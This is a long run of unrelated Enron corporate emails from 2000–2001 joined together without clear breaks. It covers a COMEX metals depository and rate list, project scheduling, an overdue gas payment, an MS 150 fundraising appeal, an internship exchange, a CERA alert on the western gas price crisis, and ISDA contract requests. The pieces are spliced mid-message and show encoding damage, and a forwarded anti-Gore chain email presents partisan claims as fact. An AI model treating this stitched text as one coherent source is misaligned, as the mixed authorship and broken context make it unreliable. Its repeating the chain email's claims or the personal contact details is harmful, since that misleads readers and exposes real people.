Should you have any questions regarding the above, please contact Albert J.=
=20
Getz at 212-299-2608.
Approved Rule Amendment
CAPITAL LETTERS indicate additions; [ ] indicates deletions.

PALLADIUM FUTURES CONTRACT

Supplement No. 1

OFFICIAL LIST OF APPROVED DEPOSITORIES

Depository      Facility at

NEW YORK

ScotiaMocatta Depository,    4 World Trade Center
A Division of The Bank of    New York, NY 10048
ova Scotia      212-912-8530
HSBC Bank USA      1 West 39th Street
       New York, NY 10018
       212-525-6439
BRINK=01,S INC.      652 KENT AVENUE
       BROOKLYN, NY  11211
       718-260-2200

DELAWARE

Delaware Depository Service Company, LLC  3601 North Market Street
       Wilmington, DE 19802
       302-765-3889

PLATINUM FUTURES CONTRACT

Depository     Facility at

NEW YORK

ScotiaMocatta Depository,   4 World Trade Center
A Division of The Bank of   New York, NY 10048
Nova Scotia     212-912-8530

HSBC Bank USA     1 West 39th Street
      New York, NY 10018
      212-525-6439

BRINK=01,S INC.     652 KENT AVENUE
      BROOKLYN, NY  11211
      718-260-2200

DELAWARE

Delaware Depository Service Company, LLC 3601 North Market Street
      Wilmington, DE 19802
      302-765-3889

BRINKS Incorporated
652 Kent Avenue
Brooklyn, New York 11211

PRECIOUS METALS EXCHANGE RATES

Contract Weight   Monthly Charge   Out Charge
5,000 T.O. Silver   $18.50    $65.00
  100 T.O. Gold           $ 7.00    $15.00
   50 T.O. Platinum    $7.00    $15.00
  100 T.O. Palladium  $  7.00    $15.00

Contract Weight   Weighing Charge
5,000 T.O. Silver  $5.00
  100 T.O. Gold   $2.00
   50 T.O. Platinum  $1.00
   00 T.O. Palladium  $2.00

&#61623; There is no delivery in charge for any Exchange Registered metal.
&#61623; There is no charge to issue a contract for an Exchange warrant.
&#61623; There is a $5.00 replacement charge for each warrant.
&#61623; There is no internal vault charge when transferring metal from=20
Non-Exchange to Exchange.
&#61623; Standard Exchange Contract out charges will be assessed when=20
transferring metal off an Exchange to Non-Exchange.

OTHER SERVICES

&#61623; Pallet strapping - $10.00 per pallet
&#61623; Brink=01,s Global Services Domestic Network*
&#61623; Brink=01,s Global Services International Network*
&#61623; Brink=01,s Tractor Trailer Services*

&#61623; Please call 1-800-5 BRINKS for rates and destinations.

Should you have any questions regarding the above, pleasecontact Albert J.=
=20

email.

refdo
c=3D(00-327)"

Franky,

Please delegate this project and any others to someone else.  Let me know who will be working on these projects while you are away.  

Thanks,
x37031
From: Berutti, Aaron 
Sent: Monday, October 22, 2001 2:02 PM
To: Grigsby, Mike
Subject: WestRateSheet

Mike,
Just wanted to keep you updated on the Rate Sheet project.  Franky sent me this email this morning.  Let me know if there is anything I can do for you in the meantime.  

Aaron

From: Sulistio, Franky 
Sent: Monday, October 22, 2001 11:10 AM
To: Berutti, Aaron
Cc: Dronet, David
Subject: RE: WestRateSheet

Hi Aaron,
I may not be able to get to this WestRateSheet until Mid November because I may be taking 2 week family leave starting this wednesday to care for my son.

I apologize for the delay.

Regards,
Franky

Sent: Wednesday, October 17, 2001 11:00 AM
To: Sulistio, Franky

 This is the excel sheet that is linked to EOL Listen or we would like to be linked to EOL Listen that hopefully we can make a web page out of so that it can be posted on the plasma screen.

Aaron
 WestRateSheet

A conference call is scheduled for this morning at 9:00 a.m. CST:

  Dial-in No.:     (877) 288-4427

  Host Code:     329805 (Bill Brown)
  Participant Code:  593483

rosie
ext. 35414

---------------------- Forwarded by Body Shop/HR/Corp/Enron on 05/18/2001 05:28 PM ---------------------------
From:	Lee Wright/ENRON@enronXgate on 05/18/2001 04:31 PM
To:	Body Shop/HR/Corp/Enron@ENRON
cc:	 
Subject:	BS Anniversary Winners

Congratulations 
15th Year Anniversary Body Shop Drawing Winners
?	Two Continental or American Airline Tickets
	 Donated By Enron Travel and Transportation
	Richard Causey
?	(2) 30-Minute Massages
	Donated By Massage, Body & Soul
	Thomas Donohoe & Cynthia Wulfson
?	(2) Enron Gym Bag
Angela Puente & Rainer Cockell
?	(2) Sony Walkmans
Steven M. Harris & Alejandra Chavez
?	(4) Body Shop T-Shirts
Airam Artegga, Joseph Capasso, Phillip Conn, Dale Surbey
?	(2) Enron Tank Tops
Stacy Bolton & Merlin Moseman
?	(15) 15th Year Anniversary Shirts
Jeffrey Richter, Allan Karels, Yolanda Cordova-Gilbert, Robert S. Smith, 
Gary Bode, Murat Sunar, John Pena, Connie Lee, Sally Shuler, Jeffrey Baldwin, Brant Reves, Chenee Franklin, Wade Nelson, Nora Lopez, Tony Miller

Please pick-up your Body Shop 15th Year Anniversary Prize from 
Jennifer Mendez, Office Manager in the Body Shop at x37135 
on Monday, May 21st, 10am - 4:30pm.

Kris, 

Please forward this to the appropriate person.

We are buying gas from Duke at the Trevino Plant on Gulf Energy (Tejas) 
Pipeline.  This is a purchase that we obtained with the CES deal.  Duke 
(Laura Bates) has called, saying that they have not received payment in 4 or 
5 months.  The deal in Sitara is #145125.  Please look into this and let me 
know where we stand.

Thanks.

D

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 09/05/2000 
01:50 PM ---------------------------

"Christi Smith" <christi.smith@lrinet.com> on 09/05/2000 11:40:59 AM
Please respond to <christi.smith@lrinet.com>
To: <Phillip.K.Allen@enron.com>
cc: "Debbie Nowak (E-mail)" <dnowak@enron.com> 
Subject: RE: Receipt of Team Selection Form - Executive Impact & Influence 
Program

We have not received your completed Team Selection information.  It is
imperative that we receive your team's information (email, phone number,
office) asap.  We cannot start your administration without this information,
and your raters will have less time to provide feedback for you.

Thank you for your assistance.

Christi

From: Christi Smith [mailto:christi.smith@lrinet.com]
Sent: Thursday, August 31, 2000 10:33 AM
To: 'Phillip.K.Allen@enron.com'
Cc: Debbie Nowak (E-mail); Deborah Evans (E-mail)
Subject: Receipt of Team Selection Form - Executive Impact & Influence
Program

Hi Phillip.  We appreciate your prompt attention and completing the Team
Selection information.

Ideally, we needed to receive your team of raters on the Team Selection form
we sent you.  The information needed is then easily transferred into the
database directly from that Excel spreadsheet.  If you do not have the
ability to complete that form, inserting what you listed below, we still
require additional information.

We need each person's email address.  Without the email address, we cannot
email them their internet link and ID to provide feedback for you, nor can
we send them an automatic reminder via email.  It would also be good to have
each person's phone number, in the event we need to reach them.

So, we do need to receive that complete TS Excel spreadsheet, or if you need
to instead, provide the needed information via email.

Thank you for your assistance Phillip.

Christi L. Smith
Project Manager for Client Services
Keilty, Goldsmith & Company
858/450-2554

From: Phillip K Allen [mailto:Phillip.K.Allen@enron.com]
Sent: Thursday, August 31, 2000 12:03 PM
To: debe@fsddatasvc.com
Subject:

John Lavorato-M

Mike Grigsby-D
Keith Holst-D
Frank Ermis-D
Steve South-D
Janie Tholt-D

Scott Neal-P
Hunter Shively-P
Tom Martin-P
John Arnold-P

Dear Friends and Family,

On April 15 and 16 I will be joining thousands of riders and volunteers on 
the MS 150 which is a two day bike tour from Houston to Austin covering 182 
miles dedicated to end the devastating effects of multiple sclerosis.  
Multiple sclerosis is a disease that is total unpredictable.  Symptoms may be 
mild such as numbness in the limbs, or severe paralysis or loss of vision. 
Most people with MS are diagnosed between the ages of 20 and 40 but the 
unpredictable physical and emotional effects can be lifelong  

My wife, Ilene was diagnosed with MS almost three years ago; at first I was 
at a loss of how I could support her.  That was until I heard of the MS 150, 
which is one of the greatest challenges of my life.  It is my choice to 
participate in the MS 150, Ilene does not have a choice, as she has to live 
with MS every day. 

This will be my third year riding in the MS 150 raising money for the 
National MS Society to fight multiple sclerosis. In 1998 my goal was simple. 
It was to raise money and ride the 182 miles on my own. I succeeded in my 
endeavor by completing the ride on my own steam and raising $6,000.  In 1999 
I raised my goal to $10,000 and finished the tour.  Not only did I meet my 
goal, but surpassed it by raising $15,000 to fight this devastating disease 
with the help of my friends and family.  This year my goal is even greater!  
My wife and I are once again asking for your help.  This year on the 2000 MS 
150 bike tour, my goal is to raise $20,000.

Enron is a big supporter of the MS 150.  For the past two years we were the 
largest bike team and biggest fundraiser of any corporate team nationally.  
Last year we raised $310,000 with 300 riders.  Enron will match dollar for 
dollar on all contributions donated in my name.  Using this secure, fast and 
easy web page you can make a tax-deductible donation (if clicking on the link 
below does not work you can cut and paste the link to your browser).
 
https://secure2.ntwebhosting.com/ms150/donate.asp?RiderName=John+Norden&RiderE
mail=jnorden%40enron%2Ecom

If you would prefer to send a check it should be made out to the National MS 
Society and sent to the address below. 

I appreciate your continued support of the MS Society and the Isuzu MS 150 
Bike Tour.  The funds raised on the Isuzu MS 150 Bike Tour provides 
equipment, financial assistance, self-help groups, counseling, information 
and resources, as well as education for people with MS and their families. 
Your support truly makes a difference in the lives of people with Multiple 
Sclerosis. 

For additional information on MS http://www.nmss.org 
For additional information the MS 150 http://www.ms150.org 

Thank You for Your Support,

John Norden

Director Technology
Enron 
1400 Smith St
Houston TX 77002
713/853-3240

	[IMAGE] 	
[IMAGE]	[IMAGE]	
	[IMAGE]	

To unsubscribe from the email list, click here  [IMAGE]

Thought y'all might find this amusing.
---------------------- Forwarded by Steve Venturatos/HOU/ECT on 10/19/2000 
02:45 PM ---------------------------
   
	From:  Kelly Lombardi @ ENRON                           10/17/2000 06:34 PM
	
To: Cyndie Balfour-Flanagan/Corp/Enron@ENRON, Steve Venturatos/HOU/ECT@ECT
cc:  
Subject: Gorons

Don't know who you're voting for, but here some things you might want to 
consider-

What is a Goron

   1. Gorons sincerely believe that Vice President Gore is a true
environmentalist, when he has an environmental disaster on his own farm:
a polluting zinc mine, from which he received $500,000 of income last
year.

   2. Gorons likewise believe that the VP is antismoking and anti-tobacco
when  he has operated a tobacco farm for decades and accepted government
subsidies.

   3. Gorons truly believe that Gore is a Vietnam war hero, when in fact
he was  placed by family influence in a "cushy"  correspondent's job and
the only  action he saw was that of his Brownie camera! (and his bong)

   4. Gorons actually believe that Mr. Gore is justified in illegally
raising political funds from the Office of the VP, simply because the
Vanderbilt Law  educated VP claims he was ignorant of the illegality.

   5. Gorons further believe that it was OK for Al to accept large sums
of political money from China through Buddhist monks who had taken vows
of poverty, since he again claimed ignorance.

   6. Gorons also believe that the man who claimed to "invent the
Internet" would be so computationally ignorant that he could lose weeks
of potentially  incriminating e-mail!

   7. Gorons, incredibly, believe Gore's claim that he and Tipper were
the models for the book and movie, "Love Story" even though the book's
author,  Erich Segal, says not.

   8. Gorons, amazingly, believe that Gore will be the consumer's
champion against high gasoline prices although Gore holds a million
dollars in Occidental Petroleum stock.

   9. Gorons applaud Mr. Lieberman's open rejection of President
Clinton's immorality, but believe it was fine for Mr. Gore to remain
silent on the subject, while simultaneously declaring Mr. Clinton "one of
the greatest Presidents of our history."

   10. Gorons believe that Al Gore is an effective leader, when they
won't bother to look at his record as a Tennessee Senator, a record so
ineffective  that it has led to the election of Republicans as BOTH of
Tennessee's  Senators!

   11.  Gorons hold the belief that Gore is a compassionate man who will
be the working man's friend, in spite of the eviction notice he served
to the poor family who complained about the conditions of the run down
slum  house that he was renting to them.

   CAUTIONARY NOTE: Medical researchers acknowledge that Gorons are
generally harmless, except when allowed into a voting booth. There,
unfortunately, overcome by their gullibility syndrome, they are apt to
actually vote for Gore! They should be carefully protected from their
ailment, since it may be  harmful to their well-being, yours, mine and
that of the USA.

   Therefore, PLEASE, heed the Surgeon General's warning, reach out to
aid the Gorons in overcoming the syndrome, and,  PLEASE, pass this on to
your normal  friends, who might also know Gorons who need immediate
treatment.

I noticed we have a master with Duke Energy Trading and Marketing, L.L.C.  I 
am under the impression that there is another master with Duke that is being 
negotiated because the business guys said that the negotiations on an ISDA 
master agreement is holding up another power trade that the Duke entity down 
here wants to do through its US subsidiary ECT is negotiating with.  Could 
you update me on what is being negotiated with any of the other Duke 
entities.  Also where is Duke Energy Trading and Marketing, L.L.C. located 
and what types of trades does the master cover?  Thanks for your help.

Daily Note Newsletter

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Following are the latest interviews from the the Industry/Services Sector published by The Wall Street Transcript.

Manufacturing / Engineering

  Executive Board Member highlights growth opportunities for ARCADIS NV
  http://archive.twst.com/notes/articles/lqs097.html

Services

  FD of Serco discusses business diversity and high teen growth
  http://archive.twst.com/notes/articles/lqs046.html

  CEO highlights products that Rainbow Technologies offer
  http://archive.twst.com/notes/articles/nav200.html

To see more about The Wall Street Transcript, go to the website at http://www.twst.com  Access to interview extracts is free, and access to the full text of any of the articles listed above requires a subscription to that sector.

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How bad is it there? Should I stay here?

Jinbaek,

This is a project related to automated trading platforms for commodities.

Vince

Jinbaek Kim <jinbaek@ieor.berkeley.edu> on 05/02/2001 05:21:40 PM
To:	Vince.J.Kaminski@enron.com
cc:	 
Subject:	Re: summer work..

Dr. Kaminski,
thanks for your mail.

I am sorry that I'll not be available earlier,
I will talk with my advisor, but
probably it will be pretty negative.
however, I may be able to start it from June1,
depending on what he tells..
We will meet tomorrow afternoon,
so I'll be able to let you know
whether we can start work earlier then.

And could you tell me briefly
what are those projects you have in mind?

Thanks!

-----------------------------------------------------------------------
Jinbaek Kim
Ph.D Candidate
Dept. of Industrial Engineering and Operations Research
U.C.Berkeley
http://www.ieor.berkeley.edu/~jinbaek

Go Bears!

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           .`.    ;       ;           :           ;
         .'    `-.'      ;            :          ;`.
     __.'      .'      .'              :        ;   `.
   .'      __.'      .'`--..__      _._.'      ;      ;
   `......'        .'         `'""'`.'        ;......-'
         `.......-'                 `........'

On Wed, 2 May 2001 Vince.J.Kaminski@enron.com wrote:

>
> Jinbaek,
>
> Thanks for your message.
>
> We have a number of additional  fascinating projects that you can work
> on.  As a matter of fact, it would be great to have you here earlier.
>
> Vince
>
>
>
>
>
> "Jinbaek Kim" <jinbaek@ieor.berkeley.edu> on 05/02/2001 05:18:32 AM
>
> To:   <Vince.J.Kaminski@enron.com>, "Raghavan, Suresh"
>       <Suresh.Raghavan@ENRON.com>, "Mesquita, Ross"
>       <Ross.Mesquita@ENRON.com>
> cc:   <jinbaek@ieor.berkeley.edu>
> Subject:  summer work..
>
>
> Long time no see,
> How have you been...must be busy and living a challenging life?
> I have been pretty busy too,
> to finish a project and write a paper, these days.
>
> Everything looks going OK for my summer internship.
> I took necessary steps to work out of campus, and sent
> signed contract to Molly a week ago..
>
> Here is what I am expecting to do in the summer.
> Please let me know if you have any change in mind.
> Actually, I wonder a little bit if DealBench changed its business model...
> and maybe you got priority in something different
> because it has been quite a while since we talked.
> I'd like to what's going on in DealBench team...
> Raghavan and Ross,
> if we talk over phone it will be great!
>
> Dr. Kaminski,
> If you think there is something else interesting to work with during the
> summer,
> to both you and I, please let me know.
> My interest is auction, market design, and simulation.
> I am taking a financial engineering class, (mostly on option pricing)
> and working on electricity generator valuation problem based on
> spark spread option.
>
> All of you,
> Let's keep in touch until we meet in June!!
>
> Jinbaek
>
>
> Tentative Work Period: 6/4 - 8/4
>
> 1. Tasks:
> 1) Survey on Auctions: the State of Art
> Single-item auction, Multi-Unit auction, Sequential auction,
> Multi-attribute auction, Combinatorial auction
>
>      - Theoretical
>      - Experimental
>      - Algorithmical
>
> 2) Deal Bench's Auction Model Analysis
>
> 2. Deliverables:
> 1) 3 Presentations:
>      - 1st presentation: around 6/30: on different auction types and
> researches
>      - 2nd presentation: around 7/15: the State of Art in auction studies
>      - 3rd presentation: around 8/1: Deal bench's model analysis
>
> 2) Report:
> Summary of auction study in laymen's term
> Deal bench's model analysis
>
>
>
>
>
>
>

Attached are the final versions of confidential materials provided to the 
Governor's office.

Best,
Jeff

From: 	"Danna Burkett" <dmburkett@houston.rr.com>@ENRON  
Sent:	Monday, November 26, 2001 1:59 PM
To:	Tim Burkett; meredith crow; Mckay, Brad; Carolyn Mckay; Ggblocln@aol.com
Subject:	Fw: I'm 517

I love this!!!! Danna
From: Melanie Frazier  
To: Danna Burkett  ; David  Frazier  ; dana63bug@earthlink.net  ; Danastrake@aol.com   ; Charlotte Hickey  ; Cissy Beeler  (E-mail)  ; brendabrunette@aol.com  ; Susan  Cravens  
Sent: Monday, November 26, 2001 8:24 AM
Subject: Fw: I'm 517
 
From: Jimmy Gallivan,  Jr.  
To: gallivan@bed-rock.net  
Sent: Wednesday, November 21, 2001 1:17 PM
Subject: I'm 517
Hope  everyone has a wonderful Thanksgiving.
 
Please take a moment to relax your  mind and humble your heart to 
focus on Christ. Allow God, to be the only  person on your mind 
while you read this prayer. If we can take the time to  read long 
jokes, stories, etc., we should give the same respect to this  
prayer. Friends that pray together, stay together. 
Dear Lord, 
I  thank You for this day. I thank You for my being able to see 
and to hear  today.  I'm blessed because You are a forgiving God 
and an  understanding God. You have done so much for me and You 
keep on blessing me.  
Forgive me this day for everything I have done, said or thought 
that was  not pleasing to you. I ask now for Your forgiveness. 
Please keep me safe  from all danger and harm. Help me to start 
this day with a new attitude and  plenty of gratitude. Let me make 
the best of each and every day to clear my  mind so that I can hear 
from You. Please broaden my mind that I can accept  all things. 
Let me not whine and whimper over things I have no control over.  
And when this world closes in on me, let me remember Jesus' example 
-to  slip away and find a quiet place to pray. It's the best response when 
I'm  pushed beyond my limits. I know that when I can't pray, 
You listen to my  heart. Continue to use me to do Your will. 
Continue to bless me that I may  be a blessing to others. 
Keep me strong that I may help the weak. 
Keep  me uplifted that I may have words of encouragement for 
others. 
I pray  for those that are lost and can't find their way. 
I pray for those that are  misjudged and misunderstood. 
I pray for those who don't know You intimately.  
I pray for those that will delete this without sharing it with 
others.  
I pray for those that don't believe. But I thank you that I 
believe.  
I believe that God changes people and God changes things. 
I pray for all  my sisters and brothers. For each and every family member in 
their  households. 
I pray for peace, love and joy in their homes that they are out  of 
debt and all their needs are met. I pray that every eye that 
reads  this knows there is no problem, circumstance, or situation greater 
than God.  
Every battle is in Your hands for You to fight. 
I pray that these words  be received into the hearts of every eye 
that sees them and every mouth that  confesses them willingly. 
This is my prayer.  In Jesus' Name, Amen.  
If you prayed this prayer, change the number in the subject box 
before  forwarding the message so people can SEE how many people have done 
so.  
God Bless!!!!!!!!!!! 
Just repeat this phrase and see how God moves!!  
Lord I love you and I need you, come into my heart, please. 
Pass  this message to 8 people except you and me. 
You will receive a miracle  tomorrow. 
Don't ignore and God will bless you. 
Know that you are already  blessed by the person whom sent this 
to you.  

---------------------- Forwarded by Lorna Brennan/ET&S/Enron on 12/11/2000 
12:30 PM ---------------------------

webmaster@cera.com on 12/08/2000 09:33:35 PM
To: Lorna.Brennan@enron.com
cc:  

Subject: Western Market Crisis: Gas Joins Power - CERA Alert

CERA Alert: Sent Fri, December 08, 2000

Title: Western Market Crisis: Gas Joins Power
Author: CERA
E-Mail Category: Alert
Product Line: Western Energy , North American Gas ,

URL:
Western Energy Members: 
http://www.cera.com/client/ce/alt/120800_18/ce_alt_120800_18_ab.html
N. American Gas Memeber:
http://www.cera.com/client/nag/alt/120800_18/nag_alt_120800_18_ab.html

Western Markets Disconnect
The western energy markets are currently in a pricing
crisis. Power supply shortages and threats of system
blackouts have resurfaced this winter in California, and
spiking natural gas prices have become the latest energy
headache for the West. Gas prices along the Pacific
corridor from Kingsgate in the North to Topock in the
South have jumped to over $40.00 per MMBtu during
December after averaging over $15.00 per MMBtu through
the second half of November. Extreme weather, strong
power demand for gas, and unusually low gas storage
levels have combined to intensify the demand for
pipeline gas and have exposed a latent capacity
bottleneck in bringing gas to this far western corridor.
The result is prices that dramatically "disconnected"
from the rest of the North American gas market in a way
that is more typical of Northeast markets during the
winter.

The vulnerability to additional spikes will endure as
the demand drivers combined with weakened storage
inventories will maintain price pressure on western
price points throughout the winter. However, the recent
jumps in western gas market differentials-to more than a
$10 per MMBtu premium to the Henry Hub-should ease
somewhat with a break in the weather. Under any weather
scenario, spikes up into the $15.00-$20.00 per MMBtu
range will be a feature of winter markets along the West
Coast. On balance, we expect West Coast price
differentials to average at a $4.00-$8.00 per MMBtu
premium through winter. The spring hydroelectric runoff
season should offer the first opportunity for a break in
differentials that could drop back to more typical
levels of less than $1.00 per MMBtu.

Over the long term, increased pipeline capacity and
additional gas supply are needed to break the
vulnerability to future West Coast price spikes.
However, significant new capacity additions are still 12
to 24 months away. In the meantime-particularly this
winter-sustained high and volatile price differentials
and extremely high absolute prices at western points are
likely to draw the increased attention of state
regulators and the FERC, as winter heating demand
exposes residential customers to the direct cost of the
crisis.

Building Up to the Price Spike
The first signs of natural gas price spikes and
disconnects emerged this summer, as sharp year-over-year
increases in demand pushed pipeline utilization rates to
new highs. As pipeline capacity constraints into
California became evident, differentials in Southern
California moved up to a $1.00 per MMBtu premium to the
Henry Hub. These extremely high prices, as well as low
forward spreads, discouraged storage injections through
the summer. As a result, a strong storage position early
in the summer deteriorated rapidly from May through
July. In August a lateral on El Paso's southern system
exploded; the accident further limited pipeline capacity
into California for a two-week period. During that time,
the market drew heavily on storage inventories and
further weakened storage positions. As hydroelectric
generation declined through the summer, the price
strength extended into Northern California. Malin, which
had been pricing near parity with the Henry hub in the
summer, began trading at a $0.50 per MMBtu premium to
the Henry Hub in September. The summer and early fall
market set the stage for continued and more intense
spikes this winter. The following factors are now
driving this market:

* Continuing surges in gas demand. Gas demand levels
have remained high since early summer, driven by higher
overall demand for electricity and lower hydroelectric
output. Demand levels for the third quarter in the US
West averaged 10.7 billion cubic feet (Bcf) per day, up
from 8.7 Bcf per day during the third quarter 1999.
Persistently strong gas-fired generation production
through the fall months diverted gas to power
production, frustrating efforts to fill storage. This
pressure will continue. The year-over-year demand
increases from the power sector will be compounded, as
evidenced in November, by swings upward in residential
and commercial heating demand of 800 million cubic feet
(MMcf) per day. Overall, CERA expects nearly 1.6 Bcf per
day of increased demand in the West this winter, with
the critical California and Pacific Northwest regions
showing 1.2 Bcf per day of increased demand. Key power
sector drivers, including the strong economy, colder
weather, and lower hydroelectric generation, will
continue to push gas-fired generation.

* Pipeline utilization nears capacity. Strong western
demand for gas has pushed utilization rates on western
pipes to high levels. Flows from British Columbia into
the Northwest pipeline have remained at high levels
since summer, while flows from the Rockies on Northwest
have remained at pipeline capacity. Flows on PGT into
Kingsgate have remained at or near capacity, although
approximately 300 MMcf per day of excess capacity exists
on PGT into California at Malin. Likewise, flows out of
the Rockies on Kern River pipeline have consistently
remained at capacity. The only slack pipeline capacity
remaining for West Coast gas markets has been on
Southwest pipes. During the past few months, these
pipelines have operated at their highest utilization
rates since the addition of capacity from Canada early
last decade. The high utilization of western pipeline
capacity-reminiscent of power plant capacity constraints
that helped propel power prices to all time highs in the
West this summer-leaves very little slack capacity to
provide a relief valve for demand spikes. And that is
exactly what has driven prices during the past few weeks
(see Figure 1). Given the level of storage inventories
and expected gas demand, flows on the El Paso and
Transwestern pipelines will have to reach even higher
flow levels from December through March than they have
averaged through November.

* Deteriorating storage position. At the start of
November California storage inventories held at 154 Bcf,
a full 32 Bcf below the five-year average inventory
level. The strong in-state withdrawals during November
weakened that position to 128 Bcf; the deficit swelled
to 62 Bcf. Inventories in California have never fallen
below 60 Bcf, so deliverability through the end of
winter is likely less than 700 MMcf per day. Storage
inventories in California are so low that utilities'
ability to balance withdrawals from storage with
purchases from demand-sensitive price points is severely
limited. If the cold weather blast anticipated for mid-
December materializes, this effort at balance will be
even further compromised for the remainder of winter
(see Figure 2).

* Short-term contracting. A significant amount of
western gas is purchased or indexed to the spot market.
A shift from term contracts for both gas and pipeline
capacity to spot transactions-in many cases in response
to gas and power industry deregulation-has left the West
much more exposed to spot market volatility. In other
areas of the country, utilities have significant firm
pipeline capacity extending from supply regions to the
citygate and/or have forward purchased gas (at previous
and lower prices) for at least some portion of their
winter supplies. As a result, unlike in eastern markets,
a much larger proportion of the supply portfolio of
California utilities will be exposed to the current
price spikes.

* No alternatives. A lack of fuel-switching capability
prevents a meaningful demand response to higher gas
prices. Power prices continue to move in lockstep with
the increase in gas prices. Not surprisingly, gas prices
pushed the cost of gas-fired generation beyond the
Federal Energy Regulatory Commission's (FERC's) proposed
price cap of $150 per megawatt-hour, setting the stage
for a reassessment of this price limit. A small and
declining portion of power generators are liquid fuel
capable. Significantly, air emissions restrictions-
already plaguing power markets with much higher
emissions credit costs this year-will make any further
switching to liquid fuels in the crucial California
market highly unlikely this winter. A recent meeting of
the South Coast Air Quality Management District, which
has jurisdiction over the Los Angeles area, concluded
with no relief granted to generators running short of
emissions credits.

Market Forces Unite for Price Spikes During November
The first cold weather-related demand spike demonstrated
the combined power of these forces and the vulnerability
of the western markets. A cold weather system in mid-
November brought temperatures averaging 47 percent
colder than normal-the temperatures actually averaged 14
percent colder than a normal January week-and provided
the additional demand boost that taxed the gas delivery
systems on the West Coast. Capacity constraints on
moving gas into California that appeared during the
summer extended north into the Pacific Northwest as
heating loads climbed. This core demand compounded the
effects of continued strong demand for gas for power
generation.

The high power demand was the result of the intersection
of the annual low point for hydroelectric generation and
a series of planned and unplanned nuclear and coal power
plant outages. Gas demand in the US West during the last
two weeks of November was boosted to approximately 15.5
Bcf per day, driven by heating demand increases of 2.8
Bcf per day above normal levels and power plant outage-
related demand increases of 1.0 Bcf per day.

These demand spikes caused buyers-already dependent on
the spot market-to bid citygate prices to record high
levels through the last two weeks of November and into
December. Since demand outstripped supply, prices rose
dramatically at all western price points, and flows of
natural gas to western markets increased over high
summer levels. Citygate prices surged beyond $40.00 per
MMBtu on daily spot markets and averaged nearly $15.00
per MMBtu for December bidweek at Topock. Daily spot gas
prices have reflected imbalance penalty prices in many
western market regions.

West Coast to Remain Disconnected Through the Winter
Although the week of November 13 could prove to be the
peak demand week in the West this winter, CERA does not
expect any significant retreat in gas prices on the West
Coast any time soon. Storage inventories are so low that
the ability to beat back demand spikes with high storage
withdrawals is not an option for gas utilities.
Generators, which already rely heavily on the spot
market for supplies, are faced with a bidding war for
scarce supplies. Colder-than-normal weather would likely
keep West Coast prices in the $20.00-$40.00 per MMBtu
range. More normal weather would allow a slow decline
from current levels of over $20.00 per MMBtu down into
the $15.00-$20.00 per MMBtu range. However, the storage
situation and underlying demand strength mean that any
return to a lower pricing range is unlikely until early
January.

This winter will prove a critical test for western gas
markets, and the end of the heating season will likely
provide the first opportunity for lower price levels in
the West Coast market. As heating loads diminish
significantly in March and storage deliverability is no
longer a critical issue, premiums should retreat back
into the $1.00-$2.00 per MMBtu range. As hydroelectric
generation begins to increase, the pressure could
subside even further, but storage injections during the
spring shoulder season will likely limit price declines
even during the spring.

The Unique Vulnerability of the Pacific Northwest
The West Coast price pressure is not limited to
California. High demand in the Pacific Northwest (and
more indirectly in California) will keep upward pressure
on prices from Sumas to Stanfield. Northwest pipeline
capacity from the Rockies was already fully utilized at
the onset of the cold weather and even so can only
provide gas so far into the Pacific Northwest. The
combined California and Pacific Northwest demand pushed
Stanfield up in spite of the limited volumes that are
bidirectional there. The only supply source for the load
centers in southern British Columbia and even more so in
northern Pacific Northwest (such as Seattle) are from
Westcoast at Sumas. The Westcoast mainline from the
producing fields in Northeast British Columbia has also
been operating at capacity. The same bidding forces felt
in California have been evident at these western
Canadian price points, pushing Sumas prices into the
$20s per MMBtu. These forces will persist, keeping Sumas
at a premium to AECO over the winter-and in much closer
relationship to California prices.

Customer Response:  Another Log on the Backlash Bonfire
With power plants and gas utilities paying the current
high spot prices, consumers' bills from Vancouver to San
Diego will ultimately reflect these high commodity
prices. The gas industry has been preparing for rate
shock this winter, warning regulators and customers
alike. However, the price spikes in the West and the
sustained premiums in western markets move beyond
alarming. Capacity holders are reaping significant
rewards for their investments in capacity positions,
resulting in a substantial transfer of wealth from
consumers to capacity holders. Market power and market
gaming accusations that have hit the power markets will
find easy application in their gas market counterpart
(no matter what their merits). Some level of
investigation into the natural gas markets during or
following this challenging winter should be expected. As
has occurred in the power markets, this will now turn
attention to gas purchasing practices, particularly in
California. The likely outcome of this process will be a
shift away from the heavy reliance on spot purchases
toward a more flexible portfolio approach.

**end**

Follow URL for PDF version of this Alert with associated graphics.

Come Shoot the Rapids with us at CERAWeek2001, "Shooting the Rapids: 
Strategies and Risks for the Energy Future" in Houston, February 12-16, 
2001!  For more information and to register, please visit 
http://www.cera.com/ceraweek/

Have a nice Bird day guys. I am of to Florida to help those guys make up 
their mind on the President of USA. If they can't make up their minds I am 
going to declare myself the acting president.
See you guys next week.
Lenine

My assistant, Taffy Milligan will be sending it to you.

	Martin Rosell
	10/05/2000 08:16 AM
		 
		 cc: 
		 Subject: ISDA

Tana, hope you're doing well.   

We'd wish to replicate the terms in the ENA-Utilicorp. United Inc. ISDA 
referred to below in a similar contract between ECTRIC and Utilicorp. United 
Inc.   Pls send me a electronic copy of the executed contract.  Tks.

Martin
---------------------- Forwarded by Martin Rosell/OSL/ECT on 2000-10-05 15:13 

Yumi Takei
2000-10-05 13:20
To: Rod Nelson/LON/ECT@ECT
cc: Karin Levin/LON/ECT@ECT, Martin Rosell/OSL/ECT@ECT 

Hi!

Thanks for your help.  According to Matt Dawson, it looks like a signed ISDA 
has been executed between ENA and Utilicorp United Inc. in the past.  We will 
also need an ISDA between ECTRIC and Utilicorp United Inc.  You mentioned 
perhaps mirroring the existing ISDA however with the restricted lists I 
believe you will be to obtain the copy easier than we will.  However, if you 
would like Utilicorp to produce a draft, let  me know and I can request that 
from the woman in the e.mail below. 

Please advise and I will pass the information on to Utilicorp.

Thank you
Yumi
x34708

---------------------- Forwarded by Yumi Takei/OSL/ECT on 05/10/2000 13:16 
   
	From:  "Weber, Angela" <AWeber@utilicorp.com>                           
03/10/2000 19:33
	
To: "'yumi.takei@enron.com'" <yumi.takei@enron.com>
cc:  

Hi Yumi,

I did confirm with our weather desk that we will be transacting as Utilicorp
United Inc.  Sorry for the confusion!  How do you want to proceed on the
ISDA?

Thanks,

Angela Weber
Aquila Energy
Associate Contract Specialist
1100 Walnut Street, Suite 3100
Kansas City, MO 65106
Phone:  816-527-1293
Fax:  816-527-4293
e-mail:  aweber@utilicorp.com

Attached is Steve Kean's presentation.

Are you available for lunch with Steve on Monday, January 8th?  Please give 
me a call at 3-1808 and we can get you on Steve's calendar.

     Maureen McVicker
     Steve's Assistant

Shirley,

Can we send flowers?

Vince

